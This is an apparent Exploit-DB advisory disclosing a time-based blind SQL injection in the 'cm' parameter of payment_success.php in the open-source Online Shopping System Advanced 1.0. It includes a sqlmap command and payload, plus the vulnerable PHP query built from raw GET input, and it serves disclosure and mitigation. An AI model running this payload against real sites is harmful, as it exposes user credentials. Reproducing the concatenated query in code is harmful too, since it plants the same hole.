Online Shopping System Advanced SQL Injection Vulnerability

vendor:

Online Shopping System Advanced

by:

Furkan Gedik

8.1

CVSS

CRITICAL

SQL Injection

CWE

Product Name: Online Shopping System Advanced

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE: CVE-2023-XXXX

CPE: a:puneethreddyhc:online_shopping_system_advanced:1.0

Metasploit:

Other Scripts:

Platforms Tested: Kali Linux 2020.3

2023

Online Shopping System Advanced SQL Injection Vulnerability

The Online Shopping System Advanced version 1.0 is vulnerable to SQL injection due to improper filtering of user-provided input in the 'cm' parameter. An attacker can inject malicious SQL statements through the 'cm' parameter, leading to unauthorized access to the database and exposure of sensitive information like user credentials.

Mitigation:

To mitigate this vulnerability, input validation and parameterized queries should be implemented to prevent SQL injection attacks. Additionally, limiting database permissions and avoiding the direct use of user input in SQL queries can enhance security.

Source

Exploit-DB raw data:

# Exploit Title: Online Shopping System Advanced

# Date: 07.12.2023

# Exploit Author: Furkan Gedik

# Vendor Homepage: https://github.com/PuneethReddyHC/online-shopping-system-advanced

# Software Link: https://github.com/PuneethReddyHC/online-shopping-system-advanced

# Version: 1.0

# Tested on: [Kali Linux 2020.3]

 

 

 

# Description

Unauthorized access to a database by injecting malicious SQL statements. The SQL injection vulnerability occurs due to the inclusion of the user-provided "cm" parameter in the SQL query without proper filtering or sanitization. An attacker can exploit the vulnerability by injecting malicious SQL code in the "cm" parameter. Successful exploitation of the vulnerability results in the disclosure of sensitive information from the database, such as user credentials, which can be used to gain unauthorized access to the database.

 

# PoC

 

[+] sqlmap output 

sqlmap.py -u "http://localhost/online-shopping-system-advanced/payment_success.php?st=Completed&cm=1" -p cm --dbms=mysql -technique=T --proxy=http://127.0.0.1:8080

 

Parameter: cm (GET)

    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: st=Completed&cm=1' AND (SELECT 1415 FROM (SELECT(SLEEP(5)))NRHH) AND 'jLpV'='jLpV

 

# Vulnerability

https://github.com/PuneethReddyHC/online-shopping-system-advanced/blob/master/payment_success.php#L12-L22

[+] payment_success.php 

if (isset($_GET["st"])) {
 

 # code...

 $trx_id = $_GET["tx"];

  $p_st = $_GET["st"];

  $amt = $_GET["amt"];

  $cc = $_GET["cc"];

  $cm_user_id = $_GET["cm"];

  $c_amt = $_COOKIE["ta"];

 if ($p_st == "Completed") {
 

  include_once("db.php");

  $sql = "SELECT p_id,qty FROM cart WHERE user_id = '$cm_user_id'";